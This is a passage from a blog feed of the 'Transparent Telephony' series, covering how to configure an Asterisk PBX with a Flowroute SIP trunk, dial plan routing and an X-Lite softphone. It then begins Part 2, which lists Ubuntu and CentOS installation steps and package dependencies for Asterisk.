depth in a later part of the series. If you want to read more about them now,
check out the &lt;a href="http://www.voip-info.org/wiki/view/Asterisk+config+sip.conf" title="Asterisk sip.conf Wiki Page">VoIP Info page&lt;/a> which describes them in detail.&lt;/p>
&lt;p>At this point we&amp;rsquo;ve fully configured a Flowroute SIP trunk and a SIP extension
with Asterisk. The next thing for us to do will be configuring our network so
that our SIP trunk works. So keep reading!&lt;/p>
&lt;h2 id="configure-the-network">Configure the Network&lt;/h2>
&lt;p>Before our SIP set up is finished, we need to configure our network to pass SIP
and RTP (voice traffic) to our Asterisk server. If your server is not behind a
router, you can skip this section.&lt;/p>
&lt;p>To do this, configure port forwarding on your router to forward ports &lt;code>5060&lt;/code>
UDP, and &lt;code>10,000&lt;/code> -&amp;gt; &lt;code>20,000&lt;/code> UDP to your Asterisk server.&lt;/p>
&lt;p>Port &lt;code>5060&lt;/code> UDP is used for SIP traffic. Ports &lt;code>10,000&lt;/code> -&amp;gt; &lt;code>20,000&lt;/code> UDP are
used to pass voice traffic (audio).&lt;/p>
&lt;p>If your router has any SIP options such as SIP ALG (application layer gateway)
or SIP fixup, you&amp;rsquo;ll want to disable them.&lt;/p>
&lt;h2 id="testing-the-sip-trunk">Testing the SIP Trunk&lt;/h2>
&lt;p>Before moving on to the actual call configuration, let&amp;rsquo;s make sure our SIP
trunk is actually connected to Asterisk and working.&lt;/p>
&lt;p>From the command line, type the following: &lt;code>asterisk -rx 'sip reload'&lt;/code>, which
will force Asterisk to reload our SIP configuration file that we just edited
(&lt;code>/etc/asterisk/sip.conf&lt;/code>).&lt;/p>
&lt;p>Next, let&amp;rsquo;s check to make sure that our Flowroute trunk is registered
(connected and in service): &lt;code>asterisk -rx 'sip show registry'&lt;/code>. If your state
shows registered:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">[root@localhost asterisk]#&lt;/span> asterisk -rx &lt;span class="s1">&amp;#39;sip show registry&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Host Username Refresh State Reg.Time
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">sip.flowroute.com:5060 xxxxxxxx 105 Registered Tue, 02 Mar 2010 09:34:23
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">1 SIP registrations.
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then you know that your SIP trunk is connected and working!&lt;/p>
&lt;h2 id="configure-the-dial-plan">Configure the Dial Plan&lt;/h2>
&lt;p>Since we have our SIP trunk working, we now need to program Asterisk, and teach
it how to route calls for us. There are two things that we need to teach
Asterisk to do: how to route outgoing calls, and how to route incoming calls.
Each of these requires separate Asterisk configuration to work.&lt;/p>
&lt;p>Our goal will be to write the following two rules:&lt;/p>
&lt;ol>
&lt;li>When we dial an 11-digit US phone number from our soft phone, it should
call that phone number.&lt;/li>
&lt;li>When someone calls our SIP DID (phone number), we should connect that call
to our soft phone so we can talk to the person who called us.&lt;/li>
&lt;/ol>
&lt;p>There are several ways to program Asterisk to handle call routing, but the
simplest (and native) way to do it is via &amp;lsquo;dial plan&amp;rsquo;. Dial plan is the name
of Asterisk&amp;rsquo;s own scripting language. It is very simple, and easy to
understand (even for non-programmers).&lt;/p>
&lt;p>In the next few sections, we&amp;rsquo;ll write dial plan code to route calls according to
our rules above.&lt;/p>
&lt;h3 id="asterisk-dial-plan-basics">Asterisk Dial Plan Basics&lt;/h3>
&lt;p>All Asterisk dial plan code resides in the file
&lt;code>/etc/asterisk/extensions.conf&lt;/code>. So when working on dial plan code, always
have this file open.&lt;/p>
&lt;p>There are two main sections of the &lt;code>extensions.conf&lt;/code> file that are always
present. There is a &lt;code>[general]&lt;/code> context which contains dial plan settings.
These settings control Asterisk dial plan parsing options for the most part.
The other context is &lt;code>[globals]&lt;/code> which contains a list of global variables that
can be accessed by any dial plan code.&lt;/p>
&lt;p>All Asterisk dial plan code is kept in contexts (much like the SIP
configuration we walked through earlier). You can create as many contexts as
you like.&lt;/p>
&lt;p>Each context should have a clear, meaningful name, which describes what the
code inside of it does.&lt;/p>
&lt;p>Each line of dial plan code is of the form:
&lt;code>exten =&amp;gt; extension,priority,application&lt;/code>, where:&lt;/p>
&lt;ol>
&lt;li>&lt;code>extension&lt;/code> is a regular expression or literal value which is used to
determine routing logic.&lt;/li>
&lt;li>&lt;code>priority&lt;/code> is a numeric value (or variable) which tells Asterisk in what
order to execute the code.&lt;/li>
&lt;li>&lt;code>application&lt;/code> is a function that Asterisk executes to perform some
functionality.&lt;/li>
&lt;/ol>
&lt;p>If you don&amp;rsquo;t understand all of this now, don&amp;rsquo;t worry!&lt;/p>
&lt;h3 id="start-with-a-clean-slate">Start With a Clean Slate&lt;/h3>
&lt;p>Before we begin writing our code, let&amp;rsquo;s quickly create a nice clean
&lt;code>extensions.conf&lt;/code> file to work in. Remove your current dial plan file
(&lt;code>/etc/asterisk/extensions.conf&lt;/code>) and replace it with the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="k">[general]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">static&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">yes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">writeprotect&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">no&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">clearglobalvars&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">no&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">[globals]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">TRUNK&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">flowroute&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>All I did here was remove all comments and clutter from the file, so that we
can clearly see what we&amp;rsquo;re doing. I also added a global variable called
&lt;code>TRUNK&lt;/code> which contains the name of our SIP trunk defined earlier in the
article. We&amp;rsquo;ll use this global variable later on to make outbound calls.&lt;/p>
&lt;h3 id="configure-outbound-routing">Configure Outbound Routing&lt;/h3>
&lt;p>The goal here is to allow our extension to dial an 11-digit US phone number,
and connect it to the PSTN via our Flowroute SIP trunk.&lt;/p>
&lt;p>Remember when we configured our SIP extension? One of the keys we specified in
the configuration file was: &lt;code>context=outgoing&lt;/code>. The context field of an
extension determines what dial plan context the pattern matching will start at.
This is similar to the main() function in most programming languages.&lt;/p>
&lt;p>The context specified in our SIP extension plays an important role in routing
outbound calls. It says (in human English):&lt;/p>
&lt;blockquote>
&lt;p>When any extension who&amp;rsquo;s &lt;code>context&lt;/code> key is equal to &lt;code>outgoing&lt;/code> dials a number,
send the number that was dialed to the &lt;code>[outgoing]&lt;/code> context to be processed.
Let the &lt;code>[outgoing]&lt;/code> context determine what to do at this point.&lt;/p>
&lt;/blockquote>
&lt;p>So now that we know what context we need to create (the &lt;code>[outgoing]&lt;/code> context),
let&amp;rsquo;s make it!&lt;/p>
&lt;p>Open your &lt;code>extensions.conf&lt;/code> file and add the following code to it at the
bottom:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="k">[outgoing]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; _1NXXNXXXXXX,1,Dial(SIP/${EXTEN}@${GLOBAL(TRUNK)})&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let&amp;rsquo;s go through the code and analyze exactly what is happening.&lt;/p>
&lt;p>The first bit: &lt;code>exten =&amp;gt;&lt;/code> is standard. All Asterisk dial plan code starts with
this bit. The extension: &lt;code>_1NXXNXXXXXX&lt;/code> is a regular expression that Asterisk
will use to pattern match the number dialed. Remember above how we said that
we&amp;rsquo;re going to route all 11-digit US telephone numbers outbound? This pattern
represents an 11-digit US telephone number. Since all 11-digit US telephone
numbers begin with the number &lt;code>1&lt;/code>, we hard-code that number. The variable &lt;code>N&lt;/code>
represents a number (2 through 9), and the variable &lt;code>X&lt;/code> represents a number (0
through 9). Therefore, the pattern &lt;code>_1NXXNXXXXXX&lt;/code> will match any 11-digit US
telephone number.&lt;/p>
&lt;p>After the extension (pattern), you&amp;rsquo;ll see a comma character followed by the
number &lt;code>1&lt;/code>. The number &lt;code>1&lt;/code> is the priority. Asterisk dial plan code can
contain more than a single line of instructions. In cases where there are
multiple lines of code that need to be executed, Asterisk relies on the
priority number to determine what to do first.&lt;/p>
&lt;p>Imagine that we had code which looked like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; _1NXXNXXXXXX,2,Dial(18002223333@flowroute)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; _1NXXNXXXXXX,1,Dial(19999999999@flowroute)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In this case, Asterisk would execute the code at priority number 1 first, then
the code at priority number 2. So always check for priority numbers when
looking at code as they will help determine what is going on.&lt;/p>
&lt;p>The last part of the code you see is the called application:
&lt;code>Dial(SIP/${EXTEN}@${GLOBAL(TRUNK)})&lt;/code>. The application we&amp;rsquo;re using here is the
&lt;code>Dial()&lt;/code> command. This application instructs Asterisk to dial the phone number
out of our Flowroute SIP trunk and connect the call to our extension (e.g. make
an outbound call)!&lt;/p>
&lt;p>Everything inside of the &lt;code>${}&lt;/code> characters is a variable reference. Asterisk
has several pre-defined &amp;lsquo;channel variables&amp;rsquo; which are always accessible. In
our &lt;code>Dial()&lt;/code> code, we reference the &lt;code>${EXTEN}&lt;/code> channel variable, which contains
the number that was dialed and pattern matched. If we dialed the number
&lt;code>18002223333&lt;/code>, then &lt;code>${EXTEN}&lt;/code> would expand to &lt;code>18002223333&lt;/code>.&lt;/p>
&lt;p>The &lt;code>${GLOBAL(TRUNK)}&lt;/code> code references the global variable &lt;code>TRUNK&lt;/code> which we
defined at the top of our &lt;code>extensions.conf&lt;/code> file. This code will expand to
&lt;code>flowroute&lt;/code> before executing the &lt;code>Dial()&lt;/code> application.&lt;/p>
&lt;p>So after all of the variable expansion is finished, Asterisk actually sees the
following (assuming that we dialed the number &lt;code>18002223333&lt;/code>):
&lt;code>Dial(SIP/18002223333@flowroute)&lt;/code>, which is a lot easier to understand! The
first part of the line that says &lt;code>SIP/&lt;/code> tells Asterisk that the number we&amp;rsquo;re
going to dial should be sent out of our SIP trunk. The &lt;code>@flowroute&lt;/code> part tells
Asterisk to dial the number &lt;code>18002223333&lt;/code> on the &lt;code>flowroute&lt;/code> SIP trunk,
specifically. Doing it this way gives us flexibility. Imagine if we had many
SIP trunks on our Asterisk system, and wanted to route certain calls through
certain SIP trunks.&lt;/p>
&lt;h3 id="outbound-routing-a-full-walk-through">Outbound Routing, a Full Walk Through&lt;/h3>
&lt;p>Let&amp;rsquo;s quickly perform a full walk through of what happens when we dial the
number &lt;code>18002223333&lt;/code> on our extension. (Don&amp;rsquo;t worry that we haven&amp;rsquo;t set up the
soft phone yet, we&amp;rsquo;ll get to that later.)&lt;/p>
&lt;ol>
&lt;li>Asterisk receives a SIP call from our extension (&lt;code>1000&lt;/code>) which has dialed
the number &lt;code>18002223333&lt;/code>.&lt;/li>
&lt;li>Asterisk looks at the context key in our extension&amp;rsquo;s configuration
settings, and sees that it is set to outgoing.&lt;/li>
&lt;li>Asterisk sends the number &lt;code>18002223333&lt;/code> to the &lt;code>[outgoing]&lt;/code> context,
defined in &lt;code>/etc/asterisk/extensions.conf&lt;/code> to be pattern matched.&lt;/li>
&lt;li>Once Asterisk finds a match for the number, it begins looking for the first
application to execute by looking for priority &lt;code>1&lt;/code>.&lt;/li>
&lt;li>Asterisk finds priority &lt;code>1&lt;/code>, and then beings performing variable expansion
in the application field to prepare for execution.&lt;/li>
&lt;li>Asterisk finishes variable expansion, then executes:
&lt;code>Dial(SIP/18002223333@flowroute)&lt;/code>.&lt;/li>
&lt;li>Asterisk then calls the number &lt;code>18002223333&lt;/code> on the &lt;code>flowroute&lt;/code> SIP trunk,
and connects the call to our extension so that both ends can talk to each
other.&lt;/li>
&lt;/ol>
&lt;p>That&amp;rsquo;s it for outbound routing! Simple right?&lt;/p>
&lt;h3 id="configure-inbound-routing">Configure Inbound Routing&lt;/h3>
&lt;p>In order to route calls inbound, you will need a DID (phone number) with your
SIP provider. This way, you can call your number, and it will direct to your
Asterisk PBX system. A phone number is a lot like an IP address, each one is
unique, and routes to a specific location.&lt;/p>
&lt;p>Unfortunately, DIDs cost money (just like you pay for cell phone service and
house phone service, you need to pay for VoIP service to rent a DID). If you
would like to try out the code that follows, you&amp;rsquo;ll need to deposit some money
into your Flowroute account, and then purchase a DID from the web panel. At
this point in time, a single DID from Flowroute costs approximately $1.39 per
month.&lt;/p>
&lt;p>Once you&amp;rsquo;ve purchased a DID, write the number down somewhere. It will be an
11-digit phone number. For the code that follows, simply substitute in your
DID where necessary, as I will be using the fictitious DID &lt;code>18182223333&lt;/code>.&lt;/p>
&lt;p>Open your &lt;code>/etc/asterisk/extensions.conf&lt;/code> file and add a new context called
&lt;code>[inbound]&lt;/code> to the bottom of your file (it can go beneath the &lt;code>[outgoing]&lt;/code>
context we created in the last section). The context should look like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="k">[inbound]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">exten&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; 18182223333,1,Dial(SIP/1000)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The code here should look familiar to the code in the previous section. All
we&amp;rsquo;re doing is dialing the SIP extension &lt;code>1000&lt;/code> (which is the extension we
created earlier). You&amp;rsquo;ve probably noticed that there is no &lt;code>@trunk&lt;/code> syntax at
the end of our &lt;code>Dial()&lt;/code> application. If you look back at your SIP
configuration file (&lt;code>/etc/asterisk/sip.conf&lt;/code>) you&amp;rsquo;ll notice that when we
created our extension, one of the keys we defined was: &lt;code>dial=SIP/1000&lt;/code>, which
tells Asterisk that in order to connect a call to that extension, we have to
dial &lt;code>SIP/1000&lt;/code>.&lt;/p>
&lt;h3 id="inbound-routing-a-full-walk-through">Inbound Routing, a Full Walk Through&lt;/h3>
&lt;p>Let&amp;rsquo;s quickly perform a full walk through of what happens when someone calls
our DID (&lt;code>18182223333&lt;/code>) from the PSTN.&lt;/p>
&lt;ol>
&lt;li>First our SIP provider will receive the call, and check to see what
customer the DID belongs to.&lt;/li>
&lt;li>The SIP provider will then check to see if we are registered to their SIP
server.&lt;/li>
&lt;li>Once they&amp;rsquo;ve confirmed our registration, they&amp;rsquo;ll forward the call to our
Asterisk system.&lt;/li>
&lt;li>Asterisk will receive the call from our Flowroute SIP trunk, and check to
see what context it should use to route the call.&lt;/li>
&lt;li>Asterisk will see that our &lt;code>[flowroute]&lt;/code> trunk is configured to use the
context &amp;lsquo;inbound&amp;rsquo;, and will send the DID number, &lt;code>18182223333&lt;/code> to the
&lt;code>[inbound]&lt;/code> context for pattern matching.&lt;/li>
&lt;li>Asterisk will match the pattern &lt;code>18182223333&lt;/code> in our &lt;code>[inbound]&lt;/code> context,
and begin looking for priority &lt;code>1&lt;/code>.&lt;/li>
&lt;li>Asterisk will find priority &lt;code>1&lt;/code>, and then execute the &lt;code>Dial(SIP/1000)&lt;/code>
command.&lt;/li>
&lt;li>Asterisk will connect the incoming call to our extension, so that both
parties can talk.&lt;/li>
&lt;/ol>
&lt;p>Not too bad! We&amp;rsquo;ve set up the ability to receive incoming calls in only a
single line of code!&lt;/p>
&lt;p>At this point, we&amp;rsquo;ve created dial plan rules for both the outgoing and incoming
call routing. Save your &lt;code>extensions.conf&lt;/code> file, and let&amp;rsquo;s move on.&lt;/p>
&lt;h2 id="apply-your-new-dial-plan-rules">Apply Your New Dial Plan Rules&lt;/h2>
&lt;p>Now that we&amp;rsquo;ve finished writing our dial plan code, we need to reload Asterisk
to have it re-scan our &lt;code>extensions.conf&lt;/code> file. To do this, simply type:
&lt;code>asterisk -rx 'dialplan reload'&lt;/code> from the command line.&lt;/p>
&lt;p>The next section which will teach you how to hook up a soft phone to your
Asterisk system so you can actually test your system!&lt;/p>
&lt;h2 id="set-up-a-softphone">Set Up a Softphone&lt;/h2>
&lt;p>In this section, we&amp;rsquo;ll set up a soft phone to use to make calls. Soft phones
are just SIP clients that can connect to Asterisk and act as normal phones.
Asterisk can work with normal analog telephones as well as fancier (and more
expensive) SIP phones, but SIP phones are much easier to set up, so we&amp;rsquo;ll be
configuring a soft phone today. If you want to hook up your analog phone to
your Asterisk server-don&amp;rsquo;t despair-that will be covered in another article in
this series.&lt;/p>
&lt;p>There are tons of soft phones to choose from, but I&amp;rsquo;ll be walking you through
using X-Lite, as it is one of the most popular and widely used.&lt;/p>
&lt;p>First thing you&amp;rsquo;ll want to do is &lt;a href="http://www.counterpath.com/x-lite.html" title="X-Lite Download Page">download and install X-Lite&lt;/a> on your
computer (it runs on all platforms).&lt;/p>
&lt;p>Once you&amp;rsquo;ve got it installed, open it up. If you don&amp;rsquo;t have your extension
information in front of you, open up your SIP configuration file
(&lt;code>/etc/asterisk/sip.conf&lt;/code>) and look at your extension definition.&lt;/p>
&lt;p>Right click on the main window display in X-Lite and click on &amp;lsquo;SIP Account
Settings&amp;rsquo;. Now click &amp;lsquo;Add&amp;hellip;&amp;rsquo; to add a SIP account.&lt;/p>
&lt;p>Here are the values you should fill in:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Display Name&lt;/strong>: Set this to anything you like. I prefer &lt;code>1000&lt;/code> (the
extension I&amp;rsquo;m using).&lt;/li>
&lt;li>&lt;strong>User Name&lt;/strong>: Set this to your extension number (&lt;code>1000&lt;/code>).&lt;/li>
&lt;li>&lt;strong>Password&lt;/strong>: Set this to your secret.&lt;/li>
&lt;li>&lt;strong>Authorization User Name&lt;/strong>: Set this to your extension number (&lt;code>1000&lt;/code>).&lt;/li>
&lt;li>&lt;strong>Domain&lt;/strong>: Set this to the IP address of your Asterisk server.&lt;/li>
&lt;li>Make sure the box next to &amp;lsquo;Register with domain and receive incoming calls&amp;rsquo;
is checked.&lt;/li>
&lt;/ul>
&lt;p>Once you&amp;rsquo;ve configured all those settings, press OK and then close out of the
configuration menu.&lt;/p>
&lt;p>If your network and SIP configuration files have been properly configured, your
X-Lite phone will now say &amp;lsquo;Registered&amp;rsquo; at the top of the window! If it is not
working, read back through the setup instructions and make sure you didn&amp;rsquo;t miss
anything. If you are using a virtual machine, also make sure your host network
settings have been configured to receive incoming traffic.&lt;/p>
&lt;h2 id="making-and-receiving-your-first-call">Making and Receiving Your First Call&lt;/h2>
&lt;p>Now that we&amp;rsquo;ve gotten everything set up, let&amp;rsquo;s actually make some calls!&lt;/p>
&lt;p>On your X-Lite soft phone, go ahead and dial any 11-digit US telephone number
(since this is the rule that we configured for outbound routing). When you hit
dial (the green button) you&amp;rsquo;ll make a call just like you would on a normal
phone, and you&amp;rsquo;ll be connected to the phone number you dialed!&lt;/p>
&lt;p>If you want to receive a call, use your cell phone to call your DID, and
Asterisk will route the call directly to your X-Lite phone. You will see and
hear you X-Lite phone ring, and you can pick up the call by clicking the green
button.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>This was a very large article, and took a considerable amount of time to write.
I hope that if you got this far, you were able to clearly configure and
understand the basic Asterisk setup required to make outbound calls, and to
receive inbound calls.&lt;/p>
&lt;p>The material covered in this part of the series is bulky, but very important in
understanding the way Asterisk works. In future parts of the Transparent
Telephony series, we&amp;rsquo;ll have significantly shorter, more targeted articles, so
following along should be easier.&lt;/p></description></item><item><title>Transparent Telephony - Part 2 - Installing Asterisk</title><link>https://rdegges.com/2010/transparent-telephony-part-2-installing-asterisk/</link><pubDate>Sun, 28 Feb 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/transparent-telephony-part-2-installing-asterisk/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/transparent-telephony-part-2-installing-asterisk/telephone-sketch.png" alt="Telephone Sketch" title="Telephone Sketch">
&lt;/p>
&lt;p>Welcome back to the Transparent Telephony series. If you&amp;rsquo;re new, you may
want to check out part 1 here:
&lt;a href="https://rdegges.com/2009/transparent-telephony-part-1-an-introduction/" title="Transparent Telephony - Part 1 - An Introduction">Transparent Telephony - Part 1 - An Introduction&lt;/a>.&lt;/p>
&lt;p>This series is designed for technical people, programmers, and just general
enthusiasts who want to learn: how telephony works, how to setup your own phone
server (PBX), how to write telephony applications, and how to reduce your phone
expenses. There are tons of neat things you can do with telephony knowledge,
so keep reading!&lt;/p>
&lt;p>This article will walk you through installing &lt;a href="http://www.asterisk.org/" title="Asterisk PBX">Asterisk&lt;/a> on your &lt;a href="http://centos.org/" title="CentOS">CentOS&lt;/a>
or &lt;a href="http://www.ubuntu.com/" title="Ubuntu">Ubuntu&lt;/a> server. If you are going to install on a virtual machine to
follow along, I recommend using &lt;a href="http://www.virtualbox.org/" title="VirtualBox">VirtualBox&lt;/a>, as everything should work out
of the box. Certain virtual machine programs like &lt;a href="http://xen.org/" title="Xen">Xen&lt;/a> have kernel issues
which makes installing Asterisk difficult. Also, never ever use Asterisk in
production on a virtual machine! You&amp;rsquo;ll have timing issues (this will be
explained later in the series).&lt;/p>
&lt;p>Before we get started, go ahead and install either CentOS or Ubuntu on your
system. Update everything to the latest version. I&amp;rsquo;ll be showing you how to
install the latest version of Asterisk stable, so we might as well update our
operating system and packages.&lt;/p>
&lt;h2 id="installing-dependencies">Installing Dependencies&lt;/h2>
&lt;h3 id="centos">CentOS&lt;/h3>
&lt;p>You can skip this step as &lt;a href="http://www.digium.com/en/" title="Digium">Digium&lt;/a> provides yum repositories which will
automatically install the latest version of Asterisk for us as well as any
dependencies.&lt;/p>
&lt;h3 id="ubuntu">Ubuntu&lt;/h3>
&lt;p>First of all, let&amp;rsquo;s install the appropriate kernel sources. We will need these
to build against. To figure out what kernel version you&amp;rsquo;re using, run the
&lt;code>uname -a&lt;/code> command.&lt;/p>
&lt;p>Next, you&amp;rsquo;ll want to search for the appropriate kernel packages to install,
&lt;code>apt-cache search 2.6.31&lt;/code> (where 2.6.31 is your kernel version). Once you get
a list of packages, install the appropriate &lt;code>linux-headers&lt;/code>, &lt;code>linux-image&lt;/code>, and
&lt;code>linux-source&lt;/code> packages that correspond to your kernel version. For me this
was:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install linux-headers-2.6.31-14-generic
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install linux-image-2.6.31-14-generic
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install linux-source-2.6.31
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now install the SSL libraries required for encryption. We&amp;rsquo;ll also install SSH
so that you can remotely administrate your server:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install openssl libssl-dev ssh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next we&amp;rsquo;ll install all of the tools required to build Asterisk:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install gcc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install g++
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install make
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install automake
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install autoconf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install build-essential
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install bison
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install flex
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libtool
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libncurses5
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libncurses5-dev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libgsm1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libgsm1-dev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libnewt-dev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libnewt-pic
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install curl
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libcurl3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install tclcurl
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libwww-dev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install mysql-common
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install mysql-client
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libmysqlclient16
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libmysqlclient16-dev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install sox
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libsox-fmt-all
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install madplay
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libxml2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install libxml2-dev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> apt-get install doxygen
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You may also want to install &lt;code>ntp&lt;/code> as it&amp;rsquo;s a safer alternative to &lt;code>ntpdate&lt;/code>
which most system administrators use to adjust the system time. DAHDI, the
Digium Asterisk Hardware Device Interface, is very picky about system time, and
has been known to crash servers which experience large time corrections. &lt;code>ntp&lt;/code>
will prevent this from happening as it will periodically adjust the time in
small increments which is much safer than performing a single large time
adjustment with &lt;code>ntpdate&lt;/code>.&lt;/p>
&lt;p>If you&amp;rsquo;d like to install &lt;code>ntp&lt;/code>, just run: &lt;code>apt-get install ntp&lt;/code>.&lt;/p>
&lt;h2 id="installing-asterisk">Installing Asterisk&lt;/h2>
&lt;p>Now that we&amp;rsquo;ve got our dependencies worked out, it&amp;rsquo;s time to actually install
Asterisk! We&amp;rsquo;ll install DAHDI, Asterisk, Asterisk Addons, and all of the
Asterisk default sound files. We&amp;rsquo;ll also ensure that Asterisk starts at boot,
and runs as a system service.&lt;/p>
&lt;h3 id="centos-1">CentOS&lt;/h3>
&lt;p>As a disclaimer, these instructions have been largely taken from Digium&amp;rsquo;s
website. They have excellent documentation for installing Asterisk using their
yum repositories which I will be mirroring here.&lt;/p>
&lt;ul>
&lt;li>Download the &lt;code>centos-asterisk.repo&lt;/code> file and copy it to
&lt;code>/etc/yum.repos.d/&lt;/code>. Here is the repo file:&lt;/li>
&lt;/ul>
